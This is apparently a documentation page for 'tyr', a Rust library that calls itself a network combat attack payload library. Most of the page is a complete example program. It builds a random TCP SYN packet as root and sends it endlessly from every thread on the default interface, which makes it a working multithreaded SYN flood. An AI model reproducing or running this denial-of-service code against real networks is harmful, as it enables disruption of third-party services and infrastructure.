tyr 0.1.2

A high-performance, cross-platform and all-protocol network combat attack payload and policy library
Documentation 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35

use pnet::datalink;
use tyr::error::Error;
use tyr::payload::Payload;

fn main() -> Result<(), Error> {
    tyr::util::rerun_if_not_root()?;

    let interface = tyr::util::get_default_interface().ok_or(Error::InterfaceNotFound)?;

    let mut payload = tyr::payload::syn::SynPayload::random(&interface);
    let mut packet = [0u8; 66];
    payload.build(&mut packet)?;

    let mut handles = vec![];
    for _ in 0..tyr::util::get_num_threads(0)? {
        let interface = interface.clone();
        if let datalink::Channel::Ethernet(mut tx, _) =
            datalink::channel(&interface, Default::default())?
        {
            let handle: std::thread::JoinHandle<Result<(), Error>> =
                std::thread::spawn(move || {
                    loop {
                        tx.send_to(&packet, Some(interface.clone())).unwrap()?;
                    }
                });
            handles.push(handle);
        };
    }

    for handle in handles {
        handle.join().unwrap()?;
    }

    Ok(())
}